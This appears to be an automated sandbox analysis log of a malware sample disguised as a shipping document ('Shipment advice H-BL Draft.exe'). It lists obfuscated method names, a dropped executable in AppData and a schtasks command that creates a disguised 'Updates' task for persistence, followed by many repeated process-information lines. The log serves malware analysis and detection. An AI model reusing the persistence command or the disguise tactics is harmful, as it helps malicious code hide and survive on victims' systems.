Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, gdNVcxURmsH25ySadH.cs	High entropy of concatenated method names: 'PWxWt23bKr', 'FunWQYXeJM', 'bnhWR5MNrI', 'x8KWje1VSX', 'w4nWgUB5Zs', 'agsRLDyHIg', 'DIoR8dDgR3', 'zE2R4mwOBm', 'THcRBcbTxK', 'ySURYbtT5w'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, wZgc7i4q9brRT2pZKI.cs	High entropy of concatenated method names: 'whYTwtu4NS', 'MWCTKxljOC', 'RRoTTVTqjP', 'lIkTbkxjWR', 'O9DTqJLgjH', 'tg0TdYIaOG', 'Dispose', 'jObfSASnib', 'zfDfQcbTi0', 'qNlfZFSLmV'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, ulbq95Xlxcu8p7KeyGb.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'HtQATCLh4b', 'FfVA3ZKo91', 'QF6Abf45d6', 'PmbAA0F170', 'G2KAq2JLWs', 'KdgA0Hhbvu', 'vXXAdg2uNY'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, KsMRxFrdbDbyaIENQ5.cs	High entropy of concatenated method names: 'xNyZ2pbc1C', 'o1LZcxyWqS', 'S2lZOfwDKu', 'hcIZrxJ7OJ', 'H7fZw2IuBl', 'OL1Z9tHivG', 'oQ7ZKv2qkn', 'b0GZfdT4QZ', 'Mq4ZTOp8s6', 'nI6Z3bPd88'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, naUIUlEG66hMKkCVK1.cs	High entropy of concatenated method names: 'ToString', 'ivI91pyCPu', 'rNf9uGow5O', 'Dne9yc9uZn', 'c1m9hB9EmD', 'xow96hUy2Y', 'hWS9I2v6yn', 'Stj9NAamw9', 'atT9Gs0rrs', 'nOi9JIa7FV'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, isFMQ2CQg9EPtseEDq.cs	High entropy of concatenated method names: 'yrAx8BenU', 'Gpq2tohR5', 'PiocPggTl', 'Uk6HCswlN', 'kMvrQx8B9', 'horeerTZO', 'Wd7wRINv9PtEmPgGiq', 'cUtHHY1lpVZgynQ2xi', 'Ky1fLTMoi', 'iUA3JiVDq'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, NA6WibgODSO7bBliZq.cs	High entropy of concatenated method names: 'oDA7tyc2GW', 'oJl7SQ8PN7', 'eot7QTbc0v', 'LV37ZhYI8W', 'S447RDni84', 'bsc7W7VMeb', 'pHN7j589dF', 'NmU7gpNuK8', 'MSy7iTkwvO', 'BIf7FKqdcs'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, C4mUUbO6hDslyPplLx.cs	High entropy of concatenated method names: 'M3gQk5nfaw', 'L0hQMPdF1K', 'qEKQEOLBHI', 'CKwQayxLjA', 'CQ8QLkVYf2', 'zNtQ8pYao6', 'bL6Q4jAtFE', 'aIsQBkd8Su', 'oF9QYEYZOm', 'bhPQ5YA0gu'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, q9fnjc5GYGvmhbZoiW.cs	High entropy of concatenated method names: 'HSX3ZOo1rM', 'VRL3R23frN', 'cC93WqMlFe', 'L9W3jMuDfV', 'qSq3TwEHdp', 'jgC3g9Eqj6', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, wt7q5lobhYgW243oOm.cs	High entropy of concatenated method names: 'k0SVOR1VSK', 'T1QVr7tpyJ', 'fcEVUTeIx2', 'W9SVuBsuj4', 'yhHVhkNTfa', 'DfxV6aaeql', 'hHsVNE0mSn', 'K1YVGiadEL', 'PWVVnPhjp4', 'WQ7V1F1sWX'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, XvYxlglRiOic6hbTcl.cs	High entropy of concatenated method names: 'JBcXj4mUUb', 'JhDXgslyPp', 'ldbXFDbyaI', 'SNQXv5WxWi', 'ceSXwpNZdN', 'ocxX9RmsH2', 'uWbPBYClg5TnrwgXcF', 'PwOV5rhZOw3hWpatPJ', 'sW23f50HDYi4H4ZftZ', 'cfdXXcVNxe'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, fQqeR9amxnwgk5W4Ox.cs	High entropy of concatenated method names: 'rklKFyRHZI', 'Ya3KvCsvgd', 'ToString', 'IsRKSOs3dj', 'dmDKQe62DO', 'ykQKZPcR4e', 'xcxKR56JhE', 'JpfKW03YXR', 'fgCKjnm3iE', 'nQ8KgrYBUY'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, wciwk9zEOG6uX91csF.cs	High entropy of concatenated method names: 'sqx3cHcMrB', 'j273Oicemd', 'MhN3r1tGkP', 'Dja3USOlI4', 'bNr3uxC4A2', 'E2K3huEeoq', 'P6936cROAI', 'hW93dv7YEs', 'ej73DNkkFO', 'Ybc3paq1hu'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, IPBBsTXXF8uETShpuYk.cs	High entropy of concatenated method names: 'LZV35YTZ3O', 'JKf3zbyDY2', 'wQobPadTtQ', 'kwSbXH7c9L', 'EQubCOFfZj', 'qtdb79PiM9', 'UTablBWWOg', 'WuTbtRR4nk', 'AhsbS7Rl5j', 'PRCbQDOkKg'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, hB07IUQyTvRe7o7MWA.cs	High entropy of concatenated method names: 'Dispose', 'trRXYT2pZK', 'pAwCuIk4s7', 'uYe2Enj6h1', 'KabX5CxUCW', 'AC1XzaWPwJ', 'ProcessDialogKey', 'GfuCPOqrpM', 'lJDCXTShMR', 'SFiCCK9fnj'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, Iw0uX58lMeHcnwybv3.cs	High entropy of concatenated method names: 'khGKBtsbvb', 'HeRK5KoCQZ', 'AWOfPnMYHF', 'SXDfX1imC6', 'L44K1J6uGV', 'ubAKm4ehc1', 'PeOKoXGHCC', 'JbAKkdG0vO', 'GblKMKh1yK', 'K4iKEqI2GB'
Source: 0.2.Shipment advice H-BL Draft.exe.7d10000.5.raw.unpack, SOukgNJWlMylIaVTis.cs	High entropy of concatenated method names: 'dGojDW4JtW', 'svkjpF6LjC', 'rj1jxyXWqv', 'FELj2bjnNt', 'twEjsLh0Wp', 'swnjckKvxR', 'QgLjHokDLh', 'P3tjOeLk36', 'tqFjrNQPeP', 'SsMjeOPldL'

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

File created: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PrcGlGVKeUCXxg" /XML "C:\Users\user\AppData\Local\Temp\tmpFBC0.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
